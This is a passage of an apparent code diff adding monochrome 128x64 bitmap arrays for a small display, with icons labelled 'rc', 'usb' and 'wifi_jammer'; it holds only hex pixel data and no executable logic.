0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8f, 0x01, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0x43, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0xe3, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0xf3, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0xf3, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x1e, 0xcf, 0xf3, 0x78, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1e, 0xcf, 0xf3, 0x78, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1e, 0xcf, 0xf3, 0x78, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1e, 0xcf, 0xf3, 0x78, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x1e, 0xcf, 0xf3, 0x78, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x1e, 0xcf, 0xf3, 0x78, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0xf3, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0xf3, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0xe3, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0x63, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcf, 0x03, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8f, 0x01, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'rc', 128x64px +const unsigned char bitmap_rc [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0xe0, 0x07, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xf8, 0x1f, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0x7c, 0x3e, 0xe6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x18, 0x18, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xc0, 0x03, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xc0, 0x03, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x80, 0x01, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xe0, 0x07, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xf0, 0x0f, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x70, 0x0e, 0xc6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x3f, 0xfc, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x3f, 0xfc, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x1f, 0xf8, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xf0, 0x00, 0x00, 0x0f, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xfc, 0x03, 0xc0, 0x3f, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xfe, 0x07, 0xe0, 0x7f, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x6e, 0x8e, 0xf1, 0x70, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x67, 0x8e, 0x71, 0xe0, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x63, 0x0c, 0xf0, 0xe3, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x0c, 0xf0, 0xc3, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x0c, 0xf0, 0xe3, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x8e, 0x71, 0xe0, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x0e, 0x87, 0xe1, 0x70, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xfc, 0x07, 0xe0, 0x3f, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xf8, 0x03, 0xc0, 0x1f, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x60, 0x00, 0x00, 0x06, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xff, 0xff, 0xff, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'usb', 128x64px +const unsigned char bitmap_usb [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xc3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xe3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xe3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xe3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x8f, 0xe3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x8f, 0xe3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x9f, 0xc3, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x9f, 0x83, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x9f, 0xc3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x9f, 0xe3, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x8f, 0xfb, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x87, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x83, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x87, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x87, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9f, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'wifi_jammer', 128x64px +const unsigned char bitmap_wifi_jammer [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 